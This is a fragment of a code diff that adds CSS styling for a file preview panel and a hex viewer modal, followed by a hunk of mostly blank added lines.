+ #preview-pane .preview-empty { display: none; }
+ #preview-thumb-box img {
+ max-width: 100%;
+ max-height: 200px;
+ display: block;
+ margin: 0 auto;
+ border-radius: 0.25rem;
+ background: #0f172a;
+ }
+ #preview-text-head {
+ font-family: "Courier New", monospace;
+ font-size: 11px;
+ line-height: 1.4;
+ white-space: pre-wrap;
+ word-break: break-all;
+ color: #cbd5e1;
+ background: #0f172a;
+ border-radius: 0.25rem;
+ padding: 0.5rem;
+ max-height: 240px;
+ overflow: auto;
+ }
+ #preview-meta-list { font-size: 11px; }
+ #preview-meta-list dt { color: rgb(100 116 139); text-transform: uppercase; letter-spacing: 0.04em; font-size: 10px; }
+ #preview-meta-list dd { color: #e2e8f0; word-break: break-all; margin-bottom: 0.5rem; }
+ #preview-hash-value {
+ font-family: "Courier New", monospace;
+ font-size: 10px;
+ word-break: break-all;
+ color: #93c5fd;
+ }
+
+ /* Hex viewer modal */
+ .hex-viewer-modal {
+ position: fixed;
+ inset: 0;
+ background-color: rgba(0, 0, 0, 0.85);
+ display: none;
+ align-items: center;
+ justify-content: center;
+ z-index: 2200;
+ }
+ .hex-viewer-modal.show { display: flex; }
+ .hex-viewer-content {
+ background-color: #0f172a;
+ border: 1px solid #334155;
+ border-radius: 0.75rem;
+ width: 92%;
+ max-width: 900px;
+ max-height: 88vh;
+ display: flex;
+ flex-direction: column;
+ box-shadow: 0 25px 50px -12px rgb(0 0 0 / 0.6);
+ }
+ #hex-viewer-body {
+ flex: 1;
+ min-height: 0;
+ overflow: auto;
+ padding: 0.75rem 1rem;
+ font-family: "Courier New", monospace;
+ font-size: 12px;
+ line-height: 1.45;
+ color: #cbd5e1;
+ background: #0b1220;
+ }
+ #hex-viewer-body .hex-row { display: flex; gap: 1.5rem; white-space: pre; }
+ #hex-viewer-body .hex-off { color: rgb(100 116 139); min-width: 80px; }
+ #hex-viewer-body .hex-bytes { color: #93c5fd; }
+ #hex-viewer-body .hex-ascii { color: #fde68a; }
+ #hex-viewer-body .hex-ascii .np { color: rgb(71 85 105); }
@@ -334,7 +460,26 @@
+
+
+
+
+
+
+
+
+
+
+
+ --
+
+
+
+
+
+
+
+
+
+
+